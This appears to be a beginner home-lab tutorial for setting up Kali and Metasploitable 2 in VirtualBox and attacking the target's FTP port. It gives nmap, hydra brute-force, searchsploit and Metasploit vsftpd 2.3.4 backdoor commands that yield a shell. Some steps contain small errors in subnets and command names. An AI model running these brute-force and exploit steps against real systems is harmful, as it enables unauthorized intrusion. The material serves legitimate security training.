Linux + Metasploitable 2: Exploits (FTP 21/22/23)
This setup assumes you have a general understanding of networks and basic linux commands.
-
Download Virtual Box.
-
Download Kali Linux. - extract files into folder
-
Download Metasploitable 2.- extract files into folder
-
VM setup: Kali
- In VirtualBox, add file.
- Go to Settings, rename it. [HackingLab]
- In settings, select Network > NAT Network 10.200.0/24
- Select start and sign in. (Credentials can be found in the VM description page)
- Check VM connected to internet. [ifconfig + ping google.com] - stop ping CTRL + Shift + C
-
Install Pimp My Kali [optional but recommended] (~15-20 min)
-
Google ‘pimpmykali github’
-
Scroll down to ‘Installation scripts’ and copy
-
Create folder Tools [mkdir Tools]
-
Navigate to folder [cd Tools]
-
Run [ ./pimpmykali.sh ]
-
Type ‘N’ for New VM setup.
- As it goes through, it will ask about root and copying folders. Select Yes for all.
-
-
VM setup: Metaspoiltable 2
- In VirtualBox, add file/New.
- Name: MS2 | Select Machine folder | Type: Linux | Version: Linux Other 64 bit
- Memory size: Default ok. > Next
- Hard disk: Use an existing virtual hard drive > Add Metasploitable.vmdk from extracted files > Create
- Connect it to network: Settings > Network > NAT Network > Select the same network as first VM.
- Start up the MS2 VM
- In Kali VM, open terminal and run netdiscover -r 10.0.200.0/24
- In Metasploitable VM, run ifconfig - compare the ip to the netdiscover list to confirm.
- In VirtualBox, add file/New.
-
Setup users + passwords
- On Kali VM, run nmap -p- -sV -oN MS2.txt {IP of MS2 VM}
Let nmap run and move to next steps.
- Create a users list.
-
In new terminal tab : nano Users.txt
-
Add users list to include:
msfadmin service user postgres
-
Exit. Save. Confirm list created: ls
-
- Create a passwords list.
-
In new terminal tab : nano Passwords.txt
-
Add passwords list to include:
msfadmin service user postgres
-
Exit. Save. Confirm list created: ls + cat
-
-
Exploit port 21 FTP
-
Review MS2.txt - Notice the service (vsftpd 2.3.4) - it’s outdated and thus vulnerable for exploiting. 😈
-
Utilize the user/password lists to gain access.
hydra -L Users.txt -P Passwords.txt {IP of MS2 VM}
This list will show the logins/passwords from your list that match.
-
Login to MS2 -- sign in with user/password credentials
ftp {IP of MS2 VM}
-
Confirm in MS2 directory
ls or ifconfig
-
Exit out of MS2 vm:
bye
-
Use searchsploit tool to see vulnerabilities associated with version (2 should appear).
searchsploit vsftpd 2.3.4
-
Enter into Metasploit framework. Search
mfsconsole > search vsftpd 2.3.4
-
Use exploit shown and view options.
use 0
show options
-
Set the target host.
set rhosts 10.0.200.7 > show options
1-2-3… exploit … once you enter this, the terminal should now be MS2.
Confirm you are on MS2 : ifconfig + whoami
-